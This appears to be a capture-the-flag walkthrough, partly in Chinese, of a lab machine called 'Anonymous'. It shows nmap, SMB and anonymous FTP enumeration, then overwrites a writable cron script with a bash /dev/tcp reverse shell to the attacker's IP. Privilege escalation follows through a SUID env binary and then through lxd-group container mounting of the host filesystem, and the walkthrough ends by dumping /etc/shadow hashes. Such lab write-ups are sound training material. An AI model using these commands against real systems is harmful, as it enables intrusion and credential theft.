Anonymous
Target IP Address: 10.49.161.217
Kali Linux IP Address 192.168.155.203
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(root㉿kali)-[~]
└─# nmap -sV -p- -O 10.49.161.217
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-23 04:20 -0400
Nmap scan report for 10.49.161.217
Host is up (0.034s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=10/23%OT=21%CT=1%CU=31027%PV=Y%DS=3%DC=I%G=Y%TM=6ADB19
OS:01%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=109%TI=Z
OS:%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%
OS:GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M
OS:4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=F4B3%W2=F4B
OS:3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%
OS:CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 3 hops
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.68 seconds
https://hackviser.com/tactics/tools/smbclient
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~]
└─# smbclient -L //10.49.161.217 -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
pics Disk My SMB Share Directory for Pics
IPC$ IPC IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP ANONYMOUS
1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~]
└─# smbclient //10.49.161.217/print$ -N
tree connect failed: NT_STATUS_ACCESS_DENIED
┌──(root㉿kali)-[~]
└─# smbclient //10.49.161.217/IPC$ -N
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
smb: \> exit
There’re two pictures in the smb server, but they don’t provide any useful information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# smbclient //10.49.161.217/pics -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun May 17 07:11:34 2020
.. D 0 Wed May 13 21:59:10 2020
corgo2.jpg N 42663 Mon May 11 20:43:42 2020
puppos.jpeg N 265188 Mon May 11 20:43:42 2020
20508240 blocks of size 1024. 13306824 blocks available
smb: \> get corgo2.jpg /home/kali/Downloads/corgo2.jpg
getting file \corgo2.jpg of size 42663 as /home/kali/Downloads/corgo2.jpg (120.8 KiloBytes/sec) (average 120.8 KiloBytes/sec)
smb: \> get puppos.jpeg /home/kali/Downloads/puppos.jpeg
getting file \puppos.jpeg of size 265188 as /home/kali/Downloads/puppos.jpeg (592.6 KiloBytes/sec) (average 384.4 KiloBytes/sec)
1
2
┌──(root㉿kali)-[/home/kali/Downloads]
└─# touch test.txt
We failed to upload a file to the target smb server.
1
2
smb: \> put /home/kali/Downloads/test.txt test.txt
NT_STATUS_ACCESS_DENIED opening remote file \test.txt
Check the SMB version:
1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# msfconsole -q
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 10.49.161.217
RHOSTS => 10.49.161.217
msf auxiliary(scanner/smb/smb_version) > run
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.35/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.49.161.217:445 - SMB Detected (versions: 1, 2, 3) (preferred dialect: SMB 3.1.1) (compression capabilities: ) (encryption capabilities: AES-128-CCM) (signatures: optional) (guid: {6e6f6e61-6d79-756f-7300-000000000000}) (authentication domain: ANONYMOUS)
[+] 10.49.161.217:445 - Host is running Version 6.1.0 (unknown OS)
[*] 10.49.161.217:445 - SMB signing is not required
[*] 10.49.161.217 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
https://hackviser.com/tactics/pentesting/services/ftp
- 删除与覆盖的区别 (Delete vs. Overwrite) 当你执行“删除原文件，上传新文件”时，原文件的 inode 及其绑定的所有元数据（包括那个至关重要的可执行权限）就已经被彻底销毁了。新上传的文件是一个全新的实体，必然会受到 FTP 服务器默认 umask 的限制，从而变成 644。 但如果你当初没有删除它，而是直接在 FTP 中使用 put clean.sh 覆盖现有的同名文件，底层发生的其实是“清空原文件内容，填入新数据”。这种修改方式通常会保留原文件的 inode 和权限属性。
因为我做了一个不可以的错误操作，删除了拥有执行权限的clean.sh的原文件，而新上传的同名reverse shell权限会被ftp服务器设置为644，导致定时任务无法执行它。所以这里只能重启靶机了。
Target IP Address: 10.48.172.157
Kali Linux IP Address 192.168.155.203
The target ftp server allows anonymous login, and there’re three files under the scripts directory. Besides, the scripts directory allows us to upload files.
The original permission for clean.sh is -rwxr-xrwx.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿kali)-[~]
└─# ftp 10.48.172.157
Connected to 10.48.172.157.
220 NamelessOne's FTP Server!
Name (10.48.172.157:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||62701|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||26049|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 946 Oct 23 10:17 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ftp> get clean.sh /home/kali/Downloads/clean.sh
local: /home/kali/Downloads/clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||32167|)
150 Opening BINARY mode data connection for clean.sh (314 bytes).
100% |****************************************************************************************************| 314 5.75 MiB/s 00:00 ETA
226 Transfer complete.
314 bytes received in 00:00 (8.66 KiB/s)
ftp> get removed_files.log /home/kali/Downloads/removed_files.log
local: /home/kali/Downloads/removed_files.log remote: removed_files.log
229 Entering Extended Passive Mode (|||46792|)
150 Opening BINARY mode data connection for removed_files.log (1118 bytes).
100% |****************************************************************************************************| 1118 842.43 KiB/s 00:00 ETA
226 Transfer complete.
1118 bytes received in 00:00 (32.61 KiB/s)
ftp> get to_do.txt /home/kali/Downloads/to_do.txt
local: /home/kali/Downloads/to_do.txt remote: to_do.txt
229 Entering Extended Passive Mode (|||14041|)
150 Opening BINARY mode data connection for to_do.txt (68 bytes).
100% |****************************************************************************************************| 68 0.60 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.45 KiB/s)
The file server / directory doesn’t allow us to uplaod anything.
Let’s check to_do.txt:
1
I really need to disable the anonymous login...it's really not safe
removed_files.log shows that there might be a scheduled task on this server.
1
2
3
4
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
Running cleanup script: nothing to delete
...
clean.sh
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
echo "Running cleanup script: nothing to delete" >> /var/ftp/scripts/removed_files.log
else
for LINE in $tmp_files; do
rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
Since the target ftp server scripts folder gives us permission to upload and download the file, we can sustitute the clean.sh to our bash reverse shell, and wait for the scheduled task to execute it.
1
2
┌──(root㉿kali)-[/home/kali/Downloads]
└─# mv clean.sh clean.sh.bak
Create our bash reverse shell, and named it clean.sh
1
2
3
#!/bin/bash
bash -i >& /dev/tcp/192.168.155.203/1234 0>&1
- 删除与覆盖的区别 (Delete vs. Overwrite) 当你执行“删除原文件，上传新文件”时，原文件的 inode 及其绑定的所有元数据（包括那个至关重要的可执行权限）就已经被彻底销毁了。新上传的文件是一个全新的实体，必然会受到 FTP 服务器默认 umask 的限制，从而变成 644。 但如果你当初没有删除它，而是直接在 FTP 中使用 put clean.sh 覆盖现有的同名文件，底层发生的其实是“清空原文件内容，填入新数据”。这种修改方式通常会保留原文件的 inode 和权限属性。
Upload our reverse shell to the target ftp server. Kindly note that don’t delete the original clean.sh file on the target ftp server, instead, use put to rewrite it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ftp> ls
229 Entering Extended Passive Mode (|||44937|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1376 Oct 23 10:27 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp> pwd
Remote directory: /scripts
ftp> put /home/kali/Downloads/clean.sh clean.sh
local: /home/kali/Downloads/clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||62711|)
150 Ok to send data.
100% |****************************************************************************************************| 59 316.57 KiB/s 00:00 ETA
226 Transfer complete.
59 bytes sent in 00:00 (0.86 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||47646|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 59 Oct 23 10:28 clean.sh
-rw-rw-r-- 1 1000 1000 1419 Oct 23 10:28 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
And we start a nc listener to wait for the reverse connection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~]
└─# nc -lvp 1234
listening on [any] 1234 ...
10.48.172.157: inverse host lookup failed: Unknown host
connect to [192.168.155.203] from (UNKNOWN) [10.48.172.157] 51772
bash: cannot set terminal process group (1568): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ whoami
whoami
namelessone
namelessone@anonymous:~$ id
id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
namelessone@anonymous:~$ uname -a
uname -a
Linux anonymous 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
1
2
3
4
5
6
7
8
9
10
namelessone@anonymous:~$ pwd
pwd
/home/namelessone
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
90d6f992585815ff991e68748c414740
https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS
https://github.com/peass-ng/PEASS-ng/releases/tag/20261021-2fe956c4
Download linpeas.sh, and transfer it to the target machine.
1
2
3
┌──(root㉿kali)-[/home/kali/Downloads]
└─# python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namelessone@anonymous:~$ pwd
pwd
/home/namelessone
namelessone@anonymous:~$ wget http://192.168.155.203:8000/linpeas.sh
wget http://192.168.155.203:8000/linpeas.sh
--2026-10-23 10:46:16-- http://192.168.155.203:8000/linpeas.sh
Connecting to 192.168.155.203:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1806456 (1.7M) [application/x-sh]
Saving to: ‘linpeas.sh’
0K .......... .......... .......... .......... .......... 2% 656K 3s
1750K .......... .... 100% 504M=0.6s
2026-10-23 10:46:17 (2.98 MB/s) - ‘linpeas.sh’ saved [1806456/1806456]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
namelessone@anonymous:~$ ls -l
ls -l
total 1776
-rw-rw-r-- 1 namelessone namelessone 1806456 Oct 23 10:42 linpeas.sh
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone 33 May 11 2020 user.txt
namelessone@anonymous:~$ chmod +x linpeas.sh
chmod +x linpeas.sh
namelessone@anonymous:~$ ls -l
ls -l
total 1776
-rwxrwxr-x 1 namelessone namelessone 1806456 Oct 23 10:42 linpeas.sh
drwxr-xr-x 2 namelessone namelessone 4096 May 17 2020 pics
-rw-r--r-- 1 namelessone namelessone 33 May 11 2020 user.txt
1
2
3
4
5
6
7
8
namelessone@anonymous:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
┌──(root㉿kali)-[~]
└─# stty raw -echo; fg
[1] + continued nc -lvp 1234
namelessone@anonymous:~$ export TERM=xterm
We find the env has been set to SUID file
1
-rwsr-xr-x 1 root root 35K Jan 18 2018 /usr/bin/env
https://gtfobins.org/gtfobins/env/#shell
目标机器的定时任务似乎挂掉了，重启机器
Target IP Address: 10.48.130.199
Kali Linux IP Address 192.168.128.42
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
namelessone@anonymous:~$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
# whoami
whoami
root
# id
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
# pwd
pwd
/home/namelessone
# cd /root
cd /root
# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 33 May 11 2020 root.txt
# cat root.txt
cat root.txt
4d930091c31a622a7ed10f27999af363
要理解 env 的 SUID 提权，我们可以将这个机制拆解为两个最底层的核心概念：SUID 权限与 env 的命令调用功能。
1. SUID 机制：临时“VIP 通行证”
在 Linux 文件系统中，普通程序运行时的权限取决于“谁在运行它”。但如果一个可执行文件被设置了 SUID（Set-User-ID）标志，且它的所有者是 root，那么无论哪个普通用户执行这个文件，该文件在运行的瞬间都会强制继承 root 的最高权限。
2. env 命令的本质：程序启动器
env 命令平时常被用来打印环境变量，但它的核心功能其实是“在指定的环境中运行另一个程序”。它的基础语法是 env [命令]。你可以把它理解为一个“代办员”，你能指使它去启动系统上的任何其他软件或脚本。
3. 提权逻辑：逻辑链条的闭环
当系统管理员错误地给 /usr/bin/env 加上了 SUID 权限时，一个致命的逻辑漏洞就产生了：
- 你作为一个受限的普通用户，敲击键盘运行了
env。 - 因为 SUID 的存在，
env进程启动的瞬间，权限被系统强制拔高成了root。 - 你顺水推舟，利用
env的“启动器”功能，命令它去启动一个交互式 Shell，例如：env /bin/sh -p。 - 结果：此时已经是
root权限的env，乖乖地为你拉起了一个/bin/sh进程。这个新弹出的 Shell 顺理成章地继承了父进程的root权限。
通过这种方式，你不需要知道 root 的密码，也不需要内核漏洞，仅仅是利用了一个基础工具的合法功能加上被滥用的 SUID 权限，就直接获取了系统的最高控制权。这就是为什么在防御规范中，绝对禁止给 env、bash、awk 等能够执行系统命令的基础工具赋予 SUID。
We can also try another method to do priv esc
1
2
3
OS: Linux version 4.15.0-99-generic (buildd@lcy01-amd64-013) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020
User & Groups: uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Hostname: anonymous
LXD 提权的本质是滥用容器管理权限来实现文件系统级别的物理穿透。只要当前普通用户属于 lxd 附加组，就可以直接向系统底层的 LXD 守护进程（该进程始终以 root 权限运行）发送指令。
其核心利用逻辑可以拆解为三个步骤：
- 创建特权沙箱：利用
lxd组的权限，你可以在目标机器上导入一个极其精简的 Linux 镜像，并用它初始化一个具有最高系统特权的容器（类似于一台轻量级虚拟机）。 - 物理全盘挂载（核心机制）：在启动这个容器之前，你向 LXD 提交一条设备配置指令，要求将宿主机（靶机）的整个物理根目录（
/），强行“插”入到新容器的指定目录下（例如/mnt/root）。 - 降维接管宿主机：启动并进入该容器后，你在容器内部默认就是
root账户。由于宿主机的整个硬盘已经被映射进来了，你可以直接通过访问/mnt/root，以 root 权限任意读写宿主机上的所有核心文件（例如直接读取/mnt/root/root/root.txt，或向/mnt/root/root/.ssh/authorized_keys写入公钥）。
在这个过程中，你并没有利用任何代码漏洞，而是完全利用了 LXD 默认的“允许组成员挂载宿主机目录”的合法运维功能。
1
2
3
4
5
6
7
╔══════════╣ LXD group and root-equivalent socket access (T1069.001,T1613)
╚ https://starlabs.sg/blog/2026/06-old-wine-in-a-new-bottle-a-decade-old-lxd-group-root-re-armed
Current user belongs to the lxd group (root-equivalent when LXD or its installer is reachable)
An LXD administrator can create a privileged container and attach the host filesystem
srw-rw---- 1 root lxd 0 Oct 23 10:15 /var/lib/lxd/unix.socket
Current user can write to /var/lib/lxd/unix.socket
LXD client/wrapper: /usr/bin/lxc
https://gtfobins.org/gtfobins/lxd/#shell
1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/home/kali/Downloads]
└─# git clone https://github.com/saghul/lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 57, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 57 (delta 6), reused 8 (delta 4), pack-reused 42 (from 1)
Receiving objects: 100% (57/57), 3.12 MiB | 9.82 MiB/s, done.
Resolving deltas: 100% (19/19), done.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cd lxd-alpine-builder
┌──(root㉿kali)-[/home/kali/Downloads/lxd-alpine-builder]
└─# ls
alpine-v3.13-x86_64-20210218_0139.tar.gz build-alpine LICENSE README.md
┌──(root㉿kali)-[/home/kali/Downloads/lxd-alpine-builder]
└─# sudo ./build-alpine -a i686
Determining the latest release... v3.24
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.24/main/x86
Downloading alpine-keys-2.6-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-61666e3f.rsa.pub: OK
Verified OK
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3736 100 3736 0 0 1718 0 00:02 00:02 3640
--2026-10-23 09:27:44-- http://alpine.mirror.wearetriple.com/MIRRORS.txt
Resolving alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)... 93.187.10.24, 2a00:1f00:dc06:10::6
Connecting to alpine.mirror.wearetriple.com (alpine.mirror.wearetriple.com)|93.187.10.24|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3736 (3.6K) [text/plain]
Saving to: ‘/home/kali/Downloads/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’
/home/kali/Downloads/lxd-alpine-builder 100%[============================================================================>] 3.65K --.-KB/s in 0s
2026-10-23 09:27:45 (15.8 MB/s) - ‘/home/kali/Downloads/lxd-alpine-builder/rootfs/usr/share/alpine-mirrors/MIRRORS.txt’ saved [3736/3736]
Selecting mirror http://tux.rainside.sk/alpine//v3.24/main
( 1/27) Installing alpine-baselayout-data (3.7.2-r1)
(27/27) Installing alpine-base (3.24.3-r0)
Executing busybox-1.37.0-r31.trigger
OK: 8616 KiB in 27 packages
┌──(root㉿kali)-[/home/kali/Downloads/lxd-alpine-builder]
└─# ls
alpine-v3.13-x86_64-20210218_0139.tar.gz alpine-v3.24-i686-20261023_0928.tar.gz build-alpine LICENSE README.md
Transfer the alpine-v3.24-i686-20261023_0928.tar.gz to the target machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
namelessone@anonymous:~$ pwd
pwd
/home/namelessone
namelessone@anonymous:~$ wget http://192.168.128.42:8000/alpine-v3.24-i686-20261023_0928.tar.gz
<.128.42:8000/alpine-v3.24-i686-20261023_0928.tar.gz
--2026-10-23 13:33:17-- http://192.168.128.42:8000/alpine-v3.24-i686-20261023_0928.tar.gz
Connecting to 192.168.128.42:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3976167 (3.8M) [application/gzip]
Saving to: ‘alpine-v3.24-i686-20261023_0928.tar.gz’
alpine-v3.24-i686-2 100%[===================>] 3.79M 2.25MB/s in 1.7s
2026-10-23 13:33:18 (2.25 MB/s) - ‘alpine-v3.24-i686-20261023_0928.tar.gz’ saved [3976167/3976167]
namelessone@anonymous:~$ ls
ls
alpine-v3.24-i686-20261023_0928.tar.gz pics user.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
namelessone@anonymous:~$ whoami
whoami
namelessone
namelessone@anonymous:~$ id
id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
namelessone@anonymous:~$ lxc image import ./alpine*.tar.gz --alias x
lxc image import ./alpine*.tar.gz --alias x
namelessone@anonymous:~$ lxc init x x -c security.privileged=true
lxc init x x -c security.privileged=true
Creating x
namelessone@anonymous:~$ lxc config device add x x disk source=/ path=/mnt/ recursive=true
<ice add x x disk source=/ path=/mnt/ recursive=true
Device x added to x
namelessone@anonymous:~$ lxc start x
lxc start x
namelessone@anonymous:~$ lxc exec x /bin/sh
lxc exec x /bin/sh
~ # whoami
whoami
root
~ # id
id
uid=0(root) gid=0(root)
~ # pwd
pwd
/root
~ # cd /mnt
cd /mnt
/mnt # ls
ls
bin etc lost+found proc snap tmp
boot home media root srv usr
cdrom lib mnt run swap.img var
dev lib64 opt sbin sys
/mnt # cd root
cd root
/mnt/root # pwd
pwd
/mnt/root
/mnt/root # ls
ls
root.txt
/mnt/root # cat root.txt
cat root.txt
4d930091c31a622a7ed10f27999af363
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/mnt/root # cd ..
cd ..
/mnt # pwd
pwd
/mnt
/mnt # ls
ls
bin etc lost+found proc snap tmp
boot home media root srv usr
cdrom lib mnt run swap.img var
dev lib64 opt sbin sys
/mnt # cat etc/shadow
cat etc/shadow
root:$6$dOoqZ3J0$TjcJJhU0XdOez/8IkI5Dryhjv8Gvuu1uAyk3ZicfvPUbNWgZbPfy/Ugk8qFkNFpeiiqwozg9jd3uH0tRmlX5f1:18417:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
namelessone:$6$V/H25roj$id.WW.Fjmcf6dveZ/BWDIAMhkOQT2YPdY3XcTLFFVsHdLusZ7Xf3Y9zshoTOiUsMviu.8Mm7FfYtQOjd.B9Up/:18395:0:99999:7:::
sshd:*:18393:0:99999:7:::
ftp:*:18396:0:99999:7:::
